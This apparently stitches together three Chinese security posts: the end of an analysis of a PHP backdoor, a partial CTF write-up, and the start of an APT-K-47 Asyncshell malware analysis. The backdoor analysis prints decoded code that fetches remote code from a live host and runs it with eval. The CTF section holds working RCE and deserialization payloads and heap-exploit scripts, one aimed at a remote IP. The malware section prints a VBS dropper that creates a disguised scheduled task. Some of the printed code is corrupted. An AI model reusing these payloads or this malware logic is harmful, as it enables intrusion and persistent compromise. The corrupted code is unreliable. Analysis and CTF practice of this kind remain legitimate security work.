BmaWxlX3B1dF9jb250ZW50cygkZmlsZSx0aW1lKCkrNzIwMCoyKTsNCiAgICAgICAgICAgICAgICBAY2htb2QoJGZpbGUsMDY2Nik7DQogICAgDQogICAgICAgICAgICAgICAgaWYoJGRpc2FibGVfY2dpKQ0KICAgICAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICAgICAgJGZpbGU9JHBmaWxlLiJpMDAiOw0KICAgICAgICAgICAgICAgICAgICBpZihmaWxlX2V4aXN0cygkZmlsZSkpQGZpbGVfcHV0X2NvbnRlbnRzKCRmaWxlLHRpbWUoKSs3MjAwKjIpOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgIH0NCiAgICAgICAgfQ0KICAgICAgICAgDQogICAgICAgIHB1YmxpYyBmdW5jdGlvbiBmZXRjaCgpDQogICAgICAgIHsNCiAgICAgICAgICAgICRnej1mdW5jdGlvbl9leGlzdHMoImd6dW5jb21wcmVzcyIpOw0KICAgIA0KICAgICAgICAgICAgJGhkYXRhPSR0aGlzLT5tYWtlX2Jhc2VfcGFyYW1zKCk7DQogICAgDQogICAgICAgICAgICAkaGRhdGFbJ2d6J109JGd6Ow0KICAgICAgICAgICAgJGhkYXRhWydfdCddPXRpbWUoKTsNCiAgICAgICAgICAgICR1cmw9J2h0dHA6Ly92MjAudGhpbmtwaHAxLmNvbS92MjAvZmV0Y2g/Jy5odHRwX2J1aWxkX3F1ZXJ5KCRoZGF0YSk7DQogICAgICAgICAgICAkZGF0YT1AZmlsZV9nZXRfY29udGVudHMoJHVybCk7DQogICAgICAgICAgICBpZigkZGF0YSAmJiAkZ3opJGRhdGE9QGd6dW5jb21wcmVzcygkZGF0YSk7DQogICAgICAgICAgICByZXR1cm4gJGRhdGE7DQogICAgICAgIH0NCiAgICB9Ow0KfTs=';
    $code=base64_decode($code);
    $code.=";fetch_task::run_static();";
    return $this->process->start_php_process($code);
}

在函数fetch_code_and_run​中设定Fetch_task​每小时执行一次,这个地方的$code​我们不能直接复制出来解密,将+​换行解密,得到:

if(!class_exists("fetch_task"))
{
    class fetch_task
    {
        private $is_root=false;

        public function __construct()
        {
            $uid=function_exists("posix_getuid")?posix_getuid():-1;
            $this->is_root=($uid===0);
        }

        public function run_in_fork()
        {
            if(!function_exists("pcntl_fork") || !function_exists("pcntl_waitpid") )return false;

            $code=$this-fetch();
            $this->__write_task_time_file(true);
            if(!$code)
            {
                return true;
            }

            $pid=pcntl_fork();
            if($pid==0)
            {
                if(pcntl_fork())exit(0);
                try{
                    @eval($code);

                }catch(\Exception $e){$this-post_error($e);}catch(\Throwable $e){$this->post_error($e);}

                exit(0);
            }else if($pid0)
            {
                pcntl_waitpid($pid,$s);

                return true;
            }else if($pid<0)
            {
                return false;
            }
        }

        public static function run_static()
        {
            $task=new fetch_task();
            $code=$task->fetch();
            $task->__write_task_time_file(true);
            if(!$code)return true;

            try{
                @eval($code);

            }catch(\Exception $e){$task->post_error($e);}catch(\Throwable $e){$task-post_error($e);}

            return true;
        }

        function make_base_params()
        {

            $sname=php_sapi_name();

            $uid=function_exists("posix_getuid")?posix_getuid():-1;
            $os=defined("PHP_OS")?@constant("PHP_OS"):"";
            $user=getenv('USER') ?: get_current_user()?:getenv('USERNAME');

            $sfile='/sess_zziudbrorkdadhip90v9jmj';$sfile[2]='s';$sfile[3]='e';
            $sfile=sys_get_temp_dir().$sfile;

            $pfile=sys_get_temp_dir().'/sess_zziudbrorkdadhip90v9jmj';
            $is_win=( strtolower(substr($os, 0, 3))=="win" );
            if($is_win&&$user)
            {
                $pfile.=$user;
                $sfile.=$user;
            }
            $hid = @intval(file_get_contents($sfile."hid"));
            if(!$hid)$hid = @intval(file_get_contents($pfile."hid"));

            $hdata=array("host_id"=>$hid,"host_uid"=>$uid,"host_version"=>php_uname(),"host_os"=$os,"host_name"=>gethostname(),"sapi_name"=>$sname,"php_version"=phpversion());
            return $hdata;       
        }

        private $next_error_time=0;
        function post_error($e)
        {
            if(time()<$this->next_error_time)return "";
            $this-next_error_time=time()+7200;

            $e=strval($e);

            $hdata=$this->make_base_params();
            $hdata['msg']=array("title"=>"cli.error","content"=strval($e));

            $postdata = http_build_query($hdata);
            $options = array(
              'http' => array(
                'method' => 'POST',
                'header' => 'Content-type:application/x-www-form-urlencoded',
                'content' => $postdata,
                'timeout' => 15 
              )
            );

            $context = stream_context_create($options);
            $result = @file_get_contents('http://v20.thinkphp1.com/v20/save?', false, $context);
            return $result;
        }

        function __write_task_time_file($disable_cgi=false)
        {
            $pfile=sys_get_temp_dir().'/sess_zziudbrorkdadhip90v9jmj';
            if( strtolower(substr(PHP_OS, 0, 3))=="win" )
            {
                $user=getenv('USER') ?: get_current_user()?:getenv('USERNAME');
                if($user)
                {
                    $this->__write_to_time_file($pfile,$disable_cgi);
                    $pfile.=$user;
                }
            }

            $this->__write_to_time_file($pfile,$disable_cgi);
        }

        function __write_to_time_file($pfile,$disable_cgi=false)
        {

            if($this->is_root)
            {
                $file=$pfile."i11";
                @file_put_contents($file,time()+7200*2);
                @chmod($file,0666);

                $file=$pfile."i10";
                if(file_exists($file))@file_put_contents($file,time()+7200*2);
                if($disable_cgi)
                {
                    $file=$pfile."i01";
                    if(file_exists($file))@file_put_contents($file,time()+7200*2);

                    $file=$pfile."i00";
                    if(file_exists($file))@file_put_contents($file,time()+7200*2);
                }
            }else
            {
                $file=$pfile."i10";
                @file_put_contents($file,time()+7200*2);
                @chmod($file,0666);

                if($disable_cgi)
                {
                    $file=$pfile."i00";
                    if(file_exists($file))@file_put_contents($file,time()+7200*2);
                }
            }
        }

        public function fetch()
        {
            $gz=function_exists("gzuncompress");

            $hdata=$this->make_base_params();

            $hdata['gz']=$gz;
            $hdata['_t']=time();
            $url='http://v20.thinkphp1.com/v20/fetch?'.http_build_query($hdata);
            $data=@file_get_contents($url);
            if($data && $gz)$data=@gzuncompress($data);
            return $data;
        }
    };
};

解密后发现是向远程服务器http://v20.thinkphp1.com/v20/fetch​请求gzuncompress​解压执行。

image

image

通过请求php-fpm​来下载 winnti 后门木马:

image

于今年3月捕获,IP:156.251.163.120:443

image

2024年新疆“天山固网杯”网络安全技能竞赛 partly WriteUp

MISC

特殊流量

看流量,结合题目,分析后发现找WebSocket的包,其余都是干扰流量,找到包追踪tcp,得到,在601tcp流得到

image

然后解密base64就行

Repair_PNG

Hint.txt给出了密码:

挂载VC得到一张png,拖进010报错,逐个分析数据块,发现从chunk·16开始出现问题:

image

长度被篡改,而且用于篡改的内容很明显是AES等对称加密的密文,首先根据正常的块得到块长度:

image

在010里搜索IDAT,可以发现还有好多被篡改长度的块,而且用于篡改的值都是四字节的AES密文,例如:

image

那么将每个被篡改的IDAT前的四字节提取出来拼接即可得到AES密文

U2FsdGVkX1/HfiTldZcyWOWmQffHye5saaOlP/ZUp3quYjfBSplwZKY8mfpyb5nJAy+MntKQQVvuNnupJoLDjA==

将每个对应块长度的位置以0000fff4替换即可修复图片,图片修复完成后即可在图片上得到密码:

在线网站解密即可:

https://www.sojson.com/encrypt_des.html

流量分析3

WireShark打开追TCP流,可以看到只有4个流

其中流1包含了整个包最长的几条流量,分析应该是上传了一个png图片

追流可以发现有png头

image

文件 -> 导出对象 -> HTTP-将其保存下来

image

然后010打开处理一下成这样即可改后缀为png成功打开

image

StegSolve查看图片各通道,可在R 0通道发现半个二维码

image

但是只有半个无法扫描,继续看流量发现一个提示

image

写个脚本将每个颜色的16个通道都保存下来

import cv2
import numpy as np
import os

def extract_bit_planes(image_path, output_folder):
    # 读取16位PNG图像,保持原始位深
    img = cv2.imread(image_path, cv2.IMREAD_UNCHANGED)
    if img is None:
        print(f"无法读取图像: {image_path}")
        return

    # 检查图像是否为多通道(RGB)
    if len(img.shape) != 3 or img.shape[2] < 3:
        print("图像不是RGB多通道图像。")
        return

    # 创建输出文件夹(如果不存在的话)
    if not os.path.exists(output_folder):
        os.makedirs(output_folder)

    # 分离RGB通道
    # OpenCV以BGR顺序读取图像,所以顺序是 B, G, R
    channels = cv2.split(img)
    channel_names = ['B', 'G', 'R']

    for idx, channel in enumerate(channels):
        channel_name = channel_names[idx]
        for bit in range(16):
            # 提取对应bit位
            bit_mask = 1 << bit
            bit_plane = cv2.bitwise_and(channel, bit_mask)
            # 将bit平面转换为0和255,方便可视化
            bit_plane = np.where(bit_plane > 0, 255, 0).astype(np.uint8)
            # 构造保存路径
            filename = f"{channel_name}_bit_{bit}.png"
            save_path = os.path.join(output_folder, filename)
            # 保存图像
            cv2.imwrite(save_path, bit_plane)
            print(f"保存: {save_path}")

if __name__ == "__main__":
    # 设置输入图像路径和输出文件夹
    image_path = r"upload.png"  # 替换为你的图像路径
    output_folder = r"bit_planes_output"

    extract_bit_planes(image_path, output_folder)

即可在分离出的通道找到两部分的二维码

image

image

image

简单的拼一下用微信扫码即可得到flag

image

WEB

web1

在show.php?file=存在任意文件读取

首先file=index.php

<?php
error_reporting(0);
// 检查是否有提交数据
if ($_SERVER["REQUEST_METHOD"] == "POST") {
    $notify1 = $_POST['notify1'];
    $notify2 = $_POST['notify2'];
    $notify3 = $_POST['notify3'];

    // 将留言写入文件
    $open = fopen("./messagesUes.php", "w");
    $str = '<?php ';
    $str .= '$notify1 = "' . $notify1 . '"; ';
    $str .= '$notify2 = "' . $notify2 . '"; ';
    $str .= '$notify3 = "' . $notify3 . '"; ';
    $str .= "?>";
    fwrite($open, $str);
    fclose($open);
    // 包含文件以加载留言
    include('./messagesUes.php');
} else {
    // 默认留言为空
    $notify1 = $notify2 = $notify3 = '';
}

// HTML 部分
?>
<!DOCTYPE html>
<html lang="zh-CN">
<head>
    <meta charset="UTF-8">
    <title>留言板</title>
    <style>
        body {
            font-family: Arial, sans-serif;
            background: linear-gradient(to right, #333, #fff);
            color: #333;
            display: flex;
            justify-content: center;
            align-items: center;
            height: 100vh;
            margin: 0;
            position: relative;
        }
        .container {
            background-color: rgba(255, 255, 255, 0.9);
            padding: 20px;
            border-radius: 8px;
            box-shadow: 0 4px 10px rgba(0, 0, 0, 0.1);
            width: 400px;
            text-align: center;
        }
        h1 {
            color: #444;
        }
        label {
            display: block;
            margin: 10px 0 5px;
        }
        textarea {
            width: 100%;
            height: 80px;
            margin-bottom: 10px;
            padding: 8px;
            border: 1px solid #ccc;
            border-radius: 4px;
            resize: none;
        }
        button {
            padding: 10px 15px;
            border: none;
            border-radius: 4px;
            background-color: #5cb85c;
            color: white;
            cursor: pointer;
            transition: background-color 0.3s;
        }
        button:hover {
            background-color: #4cae4c;
        }
        h2 {
            margin-top: 20px;
            color: #555;
        }
        p {
            margin: 5px 0;
        }
        /* 头像样式,确保定位在整个页面的右上角 */
        .avatar {
            position: absolute;
            top: 20px; /* 与页面顶部的距离 */
            right: 20px; /* 与页面右侧的距离 */
            text-align: center;
        }
        .avatar img {
            border-radius: 50%;
            width: 60px; /* 头像宽度 */
            height: 60px; /* 头像高度 */
        }
        .avatar a {
            display: block;
            margin-top: 5px; /* 距离头像的间隙 */
            color: #007bff;
            text-decoration: none;
            font-size: 12px; /* 调整字体大小 */
        }
        .avatar a:hover {
            text-decoration: underline;
        }
    </style>
</head>
<body>

<!-- 右上角头像及链接,放在 body 内 -->
<div class="avatar">
    <img src="./img/1.jpg" alt="头像">
    <a href="/show.php?file=img/1.jpg" target="_blank">点击查看头像</a>
</div>

<div class="container">
    <h1>留言板</h1>
    <form method="POST">
        <label for="notify1">留言 1:</label>
        <textarea name="notify1" id="notify1"><?php echo htmlspecialchars($notify1); ?></textarea>

        <label for="notify2">留言 2:</label>
        <textarea name="notify2" id="notify2"><?php echo htmlspecialchars($notify2); ?></textarea>

        <label for="notify3">留言 3:</label>
        <textarea name="notify3" id="notify3"><?php echo htmlspecialchars($notify3); ?></textarea>

        <button type="submit">提交留言</button>
    </form>

    <h2>留言内容:</h2>
    <p>留言 1: <?php echo htmlspecialchars($notify1); ?></p>
    <p>留言 2: <?php echo htmlspecialchars($notify2); ?></p>
    <p>留言 3: <?php echo htmlspecialchars($notify3); ?></p>
</div>

</body>
</html>

发现

    // 将留言写入文件
    $open = fopen("./messagesUes.php", "w");
    $str = '<?php ';
    $str .= '$notify1 = "' . $notify1 . '"; ';
    $str .= '$notify2 = "' . $notify2 . '"; ';
    $str .= '$notify3 = "' . $notify3 . '"; ';
    $str .= "?>";
    fwrite($open, $str);
    fclose($open);
    // 包含文件以加载留言
    include('./messagesUes.php');

写入文件来进行文件包含的,所以即可

";system("id");#

d6d0d6658042988b2ffdb9a83db7038

5449201c786cb0562814919c81999ba

web2

<?php
function checker($s){
    $ss = str_replace("fakes","fake",$s);
    return $ss;
}

Class A1{
    public $test;
    public $test1;
    public $test2;
    public $test3;
    public function __construct($test1){
        $this->test1=$test1;
    }
    public function __invoke(){
        echo "welcome";
    }

}

Class B1{
    public $test1;
    public $test2;
    public function __construct($test1,$test2){
        $this->test1=$test1;
        $this->test2=$test2;
    }

    public function __destruct(){
//        $this -> test1();
    }
}

Class C1{
    public $test1;
    public function __construct(){
        $this->test1="test1";
    }
    public function __destruct()
    {
        if(preg_match('/[a-z0-9]/i', $this->test1))
        {
            echo "sry";
        }
    }
}

Class D1{
    public $test1;
    public $test2;
    public function __construct()
    {
        $this->test1="echo";
        $this->test2="fakes";
    }

    public function __toString()
    {
        echo 1;
        // TODO: Implement __toString() method.
        call_user_func($this->test1,$this->test2);

    }
}
$a = $_POST["a"];
$b = $_POST["b"];
if(isset($_POST["a"])&&isset($_POST["b"])){
//    echo 1;
    $b = new B1($a,$b);
    $c = checker(serialize($b));
    echo $c;
    $d = unserialize($c);
}
else{
    highlight_file(__FILE__);
}
//unserialize('O:2:"C1":1:{s:5:"test1";O:2:"D1":2:{s:5:"test1";s:6:"system";s:5:"test2";s:2:"id";}}');

发现反序列化字符串逃逸减少

首先写一个能够rce的payload

<?php
error_reporting(0);
function checker($s){
    $ss = str_replace("fakes","fake",$s);
    return $ss;
}

Class A1{
    public $test;
    public $test1;
    public $test2;
    public $test3;
    public function __construct($test1){
        $this->test1=$test1;
    }
    public function __invoke(){
        echo "welcome";
    }

}

Class B1{
    public $test1;
    public $test2;
    public function __construct($test1,$test2){
        $this->test1=$test1;
        $this->test2=$test2;
    }

    public function __destruct(){
        $this -> test1();
    }
}

Class C1{
    public $test1;
    public function __construct(){
        $this->test1="test1";
    }
    public function __destruct()
    {
        if(preg_match('/[a-z0-9]/i', $this->test1))
        {
            echo "sry";
        }
    }
}

Class D1{
    public $test1;
    public $test2;
    public function __construct()
    {
        $this->test1="system";
        $this->test2="id";
    }

    public function __toString()
    {
        // TODO: Implement __toString() method.
        call_user_func($this->test1,$this->test2);

    }
}
$a = new C1();
$a->test1 = new D1();
echo serialize($a);
php test.php 
O:2:"C1":1:{s:5:"test1";O:2:"D1":2:{s:5:"test1";s:6:"system";s:5:"test2";s:2:"id";}}uid=1000(xxx)

这样获取到我们的逃逸的payload,不过少了一点细节,也就是

";s:5:"test2";O:2:"C1":1:{s:5:"test1";O:2:"D1":2:{s:5:"test1";s:6:"system";s:5:"test2";s:2:"id";}}

我们需要逃逸这个

发现了减少逃逸的字符串为

";s:5:"test2";s:100:"aa

所以payload就是

a=fakesfakesfakesfakesfakesfakesfakesfakesfakesfakesfakesfakesfakesfakesfakesfakesfakesfakesfakesfakesfakesfakesfakes&b=aa";s:5:"test2";O:2:"C1":1:{s:5:"test1";O:2:"D1":2:{s:5:"test1";s:6:"system";s:5:"test2";s:2:"id";}}

image

REVERSE

ezVM

其实就是程序每次读取的输入后亦或的一个字符串,直接写出解密脚本

import struct

# 定义密钥和数据
key = b"YesYouFindtheVMKeyBravo"
buf2 = [0x1D22251D, 0x3343383F, 1108811830, 0x3B20483F, 0x2E2F1E65, 0x286C29]

# 将整数数组 buf2 转换为字节数组
data = bytearray()
for num in buf2:
    data += struct.pack("<I", num)

# 解密操作
for i in range(len(key)):
    data[i] = (data[i] - i) & 0xFF  # 确保值在 0-255 范围内
    data[i] ^= key[i]

# 将解密后的数据转换为字符串并打印
result_string = data[:len(key)].decode('utf-8')
print(result_string)

checkyourflag

image

在字符串这里看到win,跟踪函数调用找到check的位置

image

可以看到通过v3的值分别进行异或

image

后面就是简单异或拷打GPT就行

提取:

# 给定的 v27 数组
v27 = [
    0xDA53D840, 0xAB3BDF50, 0xA920AC7C, 0xAA74FB20, 0xFA73AF22,
    0xFC20AE2E, 0xAA7DAE7F, 0xFA21FA25, 0xFF73FA70, 0xE423AD75
]

# 将每个整数拆解为逐一字节
def split_into_bytes(v27):
    byte_array = []

    for value in v27:
        # 使用 little-endian 方式拆分每个 32 位整数为字节
        bytes_rep = value.to_bytes(4, byteorder='little')  # 转为4个字节(小端格式)
        byte_array.extend(bytes_rep)  # 将这些字节添加到数组中

    return byte_array

# 调用函数并获取字节数组
byte_array = split_into_bytes(v27)

# 打印每10个字节换行,每个字节之间用逗号分割
print("Byte sequence:")
for i in range(0, len(byte_array), 10):
    # 获取当前行的10个字节
    line = byte_array[i:i+10]
    # 格式化每个字节为十六进制并连接为字符串
print(", ".join(f"0x{byte:02X}" for byte in line))

解密:

# 密文v27数组的值(从代码中提取)
v27 = [
    0x40, 0xD8, 0x53, 0xDA, 0x50, 0xDF, 0x3B, 0xAB, 0x7C, 0xAC,
    0x20, 0xA9, 0x20, 0xFB, 0x74, 0xAA, 0x22, 0xAF, 0x73, 0xFA,
    0x2E, 0xAE, 0x20, 0xFC, 0x7F, 0xAE, 0x7D, 0xAA, 0x25, 0xFA,
    0x21, 0xFA, 0x70, 0xFA, 0x73, 0xFF, 0x75, 0xAD, 0x23, 0xE4
]

# 解密函数,逆向加密过程
def decrypt(v27):
    # 遍历密文数组进行逆向解密
    for i in range(len(v27)):
        if (i & 1) != 0:  # 对于奇数位置的元素,执行 XOR 操作
            v27[i] ^= 0x99
        else:  # 对于偶数位置的元素,先执行 XOR 操作,再加上 30
            v27[i] ^= 0x66
            v27[i] += 30

    # 返回解密后的 flag
    return bytes(v27).decode(errors='ignore')

# 解密并输出 flag
flag = decrypt(v27)
print("Decrypted flag:", flag)

PWN

pwn1

from pwn import *
io = process('./guess')
elf = ELF('./guess')
context(log_level='debug')
for i in range(0x14):
    io.recvuntil(b'input your guess\n')
    payload = b'777'
    payload = payload.ljust(8,b'\x00')
    io.send(payload)
io.recvuntil("good!\n")
io.sendline(str(0xdeadbeef))
io.sendline(str(0xdeadbeef))
io.sendline(str(0xdeadbeef))
io.sendline(str(0xdeadbeef))
io.sendline(str(0xdeadbeef))
io.sendline(str("+"))
io.sendline(str(0xdeadbeef))
io.sendline(str(0x4012db))
io.interactive()

pwn2

打开ida发现edit功能存在off by null的漏洞

这里观察show函数发现了存在加密,经过观察发现是RC4,这里找gpt获得解密脚本

Free函数无uaf

Add函数只能申请固定大小堆块,libc版本为2.34,很容易想到通过那个off by null利用house of kiwi进行攻击

from pwn import*  
from Crypto.Cipher import ARC4
context(os='linux',arch='amd64',log_level='debug')
libc=ELF('./libc.so.6')
elf=ELF('./heap')
p= remote('139.155.126.78',31054)
def s(a):
    p.send(a)
def sa(a, b):
    p.sendafter(a, b)
def sl(a):
    p.sendline(a)
def sla(a, b):
    p.sendlineafter(a, b)   
def li(a):
    print(hex(a))   
def r():
    p.recv()
def pr():
    print(p.recv())
def rl(a):
    return p.recvuntil(a)
def inter():
    p.interactive()
def get_32():
    return u32(p.recvuntil(b'\xf7')[-4:])  
def get_addr():
    return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
def get_sb():
    return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))  
def bug():
    gdb.attach(p)
    pause() 
def cmd(a):
    sla(b'CHOICE: ',str(a))      
def add():
    cmd(1) 
def edit(idx,size,content):
    cmd(2)
    sla(b'INDEX: ',str(idx))
    sla(b'SIZE: ',str(size))
sa(b'CONTENT: ',content)  
def show(idx):
    cmd(3)
    sla(b'INDEX: ',str(idx))   
def free(idx):
    cmd(4)
    sla(b'INDEX: ',str(idx))
def decode(pay, key1):
    key = bytes(key1, encoding='utf-8')
    enc = ARC4.new(key)
    res = enc.decrypt(pay)
    return res
rc4_key = "\x7f\x45\x4c\x46\x02\x01\x01"

for i in range(15):
         add()
for i in range(3,10):
         free(i)
free(0)
free(1)
free(2)
for i in range(10):
        add()
show(9)
p.recv(5)
key = u64(decode(p.recv(5),rc4_key).ljust(8,b"\x00"))
heap_base = key << 12
li(key)
li(heap_base)
show(8)
p.recv(5)
libc_base = u64(decode(p.recv(6),rc4_key).ljust(8,b'\x00'))-0x1f2cc0
li(libc_base)
for i in range(7):
        free(i)
edit(7,0xf8,p64(heap_base+0x470)*2)
free(8)
for i in range(8):
         add()
free(9)
free(8)
ret=libc_base+libc.search(asm("ret")).__next__()
rdi=libc_base+libc.search(asm("pop rdi\nret")).__next__()
rsi=libc_base+libc.search(asm("pop rsi\nret")).__next__()
rax=libc_base+libc.search(asm("pop rax\nret")).__next__()
syscall=libc_base+libc.search(asm("syscall\nret")).__next__()
system,bin=get_sb()
open=libc_base+libc.sym['open']
read=libc_base + libc.sym['read']
puts=libc_base + libc.sym['puts']
stderr=libc_base+libc.sym['stderr']
_IO_list_all=libc_base+libc.sym['_IO_list_all']
_IO_wfile_jumps =libc_base+libc.sym['_IO_wfile_jumps']
setcontext = libc_base + libc.sym['setcontext'] + 61
rdx=libc_base+0x0000000000087759 #rdx,rbx
_IO_file_jumps = libc_base + 0x1f4560 + 0x60
_IO_helper_jumps = libc_base + 0x1f3960 + 0xa0
flag = heap_base + 0x1280 + 0xd0

orw = p64(rdi) + p64(flag) + p64(rsi) + p64(0) + p64(open)
orw +=p64(rdi) + p64(3) + p64(rsi) + p64(flag+0x10) + p64(rdx) + p64(0x100) + p64(0)+ p64(read)
orw +=p64(rdi) + p64(flag+0x10) + p64(puts)
orw = orw.ljust(0xd0 ,b"\x00")
orw += b'./flag\x00'
edit(7,0x10,p64(key ^ _IO_helper_jumps))
edit(14,0xf0,orw)
add() #8
add() #9
edit(9,0x10,p64(heap_base+0x1280) + p64(rdi+1))
free(10)
free(8)
edit(7,0x10,p64(key ^ _IO_file_jumps))
add() #8
add() #10
edit(10,0x10,p64(setcontext))
free(11)
free(8)
edit(7,0x10,p64(key^(heap_base + 0x1370)))
add() #8
add() #11
edit(11,0x10,p64(0)*2)
add()
add()

inter()

CRYPTO

bbb

强网杯apbq的part三,造了一通格子才认出来

from gmpy2 import *
from Crypto.Util.number import *
c=242319185698105966655811445195646165772013130518334334162252266969002201624779527078330676453235767390330780831161760574272413824450562363719470733193743162466341642825448999475127421027884538732952287818775578674011266584557436930741593502788559576089268405727954506642287558247104400841378166608643114577097136065234590225310895617443375941573228936034616455500751983362999490808023115657533450432557813185878160445309856767963194393138873447889804383396880767349563873409518315199704565143016369326672458639559958597154697965186545110678201108512625438329575629949086827161665402396440860960941415911878862932716
n=441522587869616749138797465532639436283961259111657934966888819387372178302775576376364712193076049405075347561837908020324373038749442055032833183300869647615172010963365836986154161648583082757314769298002257388631720849937763680726838132583378677561490049437481683836064669759255586303448222204575037683338662178295455778491007161112769510561185414715476484798533243282400251263092618695814970950180618826257642818430948899210822780087415109643704831306938196522011291127467370515424147721491645066322779363762109668238230739500744231601240751975467633389119737701026132439742280472955562542076451393469920709413
hint1=17817487943395422123342006438258298667428179946815051779848621580624602814557544233549701919939506547723962007508306809894299353166612229227579979518255525215296169402087911021532151814442967358027333089703201268353220339693072081576004483475155871334555810758463081853120188212504620113353614966771724444858136947027458226965305234232387086706519521150015910958417759945074484984220668424317692306964197465165961371032147311046782902947408983728409112857203221763810582563523855808203892411140679241411269431868123802101895164298037477881517928173151858504248818439471985658479639214407136813866163781042862874376623
hint2=507655543445719887393880289556052316199636906666104900190345863932916388145030360549029392536646985738191345835942055042349983029079001998686154728826856491260487483477968537386815513137401032976334169717301621583119046594107288445735196550464169567662623283761689493622187333261306587925390376485660497678023692394093269747965940785720005284184547408047483424966456717371657844981405816595512464907300400643958535745888734700846913746348325704420535690307781666535468546394350875710786845456727290841831099933648037602469321163771162452711978551964177586237673498624172843090041809878011155422986987754596960646442

x=hint1
y=hint2
e = 65537
R = Integers(n)
P.<a, b, p, q> = PolynomialRing(Integers(n))
f1 = a*p + q
f2 = p + b*q
f3 = p*q
I = Ideal([f1 - x, f2 - y, f3 - n])
B = I.groebner_basis()
g = B[-1]
z = ZZ(g.coefficient({q: 1}))
assert g.constant_coefficient() == R(-y)

_, (z1, _), (z2, _) = list(g)
z1 = ZZ(z1)
z2 = ZZ(z2)
S = 2^1024
for p_upper_bits in range(16):
    p_upper = p_upper_bits << 1020
    for q_upper_bits in range(16):
        q_upper = q_upper_bits << 1020
        M = matrix(ZZ, [[S, -1, 0, 0], [S*z1, 0, -1, 0], [S*(z2 + p_upper + q_upper*z1), 0, 0, S], [S*n, 0, 0, 0]])
        B = M.LLL()
        for b in B:
            if b[-1] == S:
                if b[1] < 0:
                    b *= -1
                p_guess = b[1] + p_upper
                q_guess = b[2] + q_upper
                if p_guess * q_guess == n:
                    d = pow(e, -1, (p_guess - 1)*(q_guess - 1))
                    message = int(pow(c, d, n))
                    message_bytes = message.to_bytes((message.bit_length() + 7) // 8, 'big')
                    print(message_bytes)

APT-K-47 Asyncshell Version3 Analysis

来源

APT-K-47,绰号 Mysterious Elephant(神秘象) ,来自南亚的高级持续性威胁组织,主要攻击目标为巴基斯坦、中国、俄罗斯、孟加拉国和美国,攻击手段围绕社会工程学展开,根据热点信息投递诱饵进行钓鱼,进而入侵目标并窃取敏感数据。

APT-K-47 从2023年开始频繁使用 Asyncshell 发起攻击活动,并逐步对攻击链和载荷代码进行升级,本样本于2024年7月捕获,为 Asyncshell 的第二代变种,记作 Asyncshell-Version3

同期样本MD5:

7728fee377137e83e9bd1c609cc166c0

dad7d9528e9506ebd0524b3ebd89ddf2

攻击链条:

image

图片来自知道创宇404实验室

样本分析

MD5值:b28bb7cabfb12e9bc5b87692b065c83a

image

文件结构分为两部分,一个是文件夹_Anx​里面是攻击载荷,另外一个是伪装成pdf的lnk快捷方式。

image

image

C:\Windows\System32\cscript.exe _Anx\_Anx\Anx.vbs

调用cscript.exe​运行_Anx\_Anx​下的恶意代码

image

其中AnxAnx.vbsfilename.lnkSysConfig.enc 为隐藏文件,Islamabad_Security_Dialogue_Pub.pdf 为正常pdf文件,内容为2021届伊斯兰堡安全对话

MD5值:162a9b9aee469b8de10c37c6311906cd

image

Anx.vbs脚本的主要作用是移动文件、创建计划任务,并执行恶意代码

MD5值:c3d460ac3a93e86782c2bc374aa5ecd2

REM 为了便于阅读,我添加了注释
Dim objFSO
Dim strFilePath
Dim strNewFilePath

Set objFSO = WScript.CreateObject("Scripting.FileSystemObject")
Dim currentPath
currentPath = objFSO.GetAbsolutePathName(".") 
strFilePath = currentPath & "\_Anx\_Anx\Anx"
strNewFilePath = strFilePath & ".exe"   '_Anx\_Anx\Anx 重命名为 Anx.exe
objFSO.MoveFile strFilePath, strNewFilePath
Set objFSO = Nothing

Dim fso
Set fso = WScript.CreateObject("Scripting.FileSystemObject")

Dim sourcePath,destinationPath,deleteFile,runfile,runfile2
sourcePath = currentPath & "\_Anx\_Anx\Islamabad_Security_Dialogue_Pub.pdf"
destinationPath = currentPath & "\Islamabad_Security_Dialogue_Pub.pdf"  '将Islamabad_Security_Dialogue_Pub.pdf 移动到根目录并命名为 Islamabad_Security_Dialogue_Pub.pdf
deleteFile = currentPath &  "\Islamabad_Security_Dialogue_Pub.pdf.lnk"  '删除伪装的快捷方式
runfile = Chr(34) & currentPath & "\_Anx\_Anx\Anx.exe" & Chr(34)
runfile2 = currentPath & "\_Anx\_Anx\Anx.exe"
runfile3 = currentPath & "\_Anx\_Anx\SysConfig.enc"
fso.MoveFile sourcePath, destinationPath
fso.DeleteFile deleteFile

Dim tempFolder, tempPath
tempFolder = fso.GetSpecialFolder(2)
tempPath = tempFolder & "\Anx.exe"
tempPath2 = tempFolder & "\SysConfig.enc"
fso.CopyFile runfile2, tempPath, True
fso.CopyFile runfile3, tempPath2, True

Dim v1
v1 = Chr(34) & destinationPath & Chr(34)
Set WshShell = CreateObject("WScript.Shell")
WshShell.Run v1, 0, False
WshShell.Run runfile, 0, False 
Set WshShell = Nothing

Dim shellPath
Dim taskName   '设定计划任务'

    shellPath = tempPath
    taskName = "WindowsBackgroundService"  '计划任务命名为WindowsBackgroundService'
    Const TriggerTypeDaily = 1
    Const ActionTypeExec = 0
    Set service = CreateObject("Schedule.Service")
    Call service.Connect
    Dim rootFolder
    Set rootFolder = service.GetFolder("\")
    Dim taskDefinition
    Set taskDefinition = service.NewTask(0)
    Dim regInfo
    Set regInfo = taskDefinition.RegistrationInfo
    regInfo.Description = "Update"
    regInfo.Author = "Microsoft"

    Dim settings
    Set settings = taskDefinition.settings
    settings.Enabled = True
    settings.StartWhenAvailable = True
    settings.Hidden = False
    settings.DisallowStartIfOnBatteries = False

    Dim triggers
    Set triggers = taskDefinition.triggers

    Dim trigger
    On Error Resume Next
        CreateObject("WScript.Shell").RegRead ("HKEY_USERS\S-1-5-19\Environment\TEMP")
        If Err.Number = 0 Then
            IsAdmin = True
            Set trigger = triggers.Create(8)
        Set trigger = triggers.Create(9)
        Else
            IsAdmin = False
        End If
        Err.Clear
        On Error GoTo 0
        '使用 WScript.Shell.RegRead 检查注册表项,以判断是否具有管理员权限。如果是管理员权限,则尝试配置更多类型的触发器。
    Set trigger = triggers.Create(7)
    Set trigger = triggers.Create(6)
    Set trigger = triggers.Create(TriggerTypeDaily)
    Dim startTime, endTime

    Dim time

    time = DateAdd("n", 2, Now)
    Dim cSecond, cMinute, CHour, cDay, cMonth, cYear
    Dim tTime, tDate

    cSecond = "0" & Second(time)
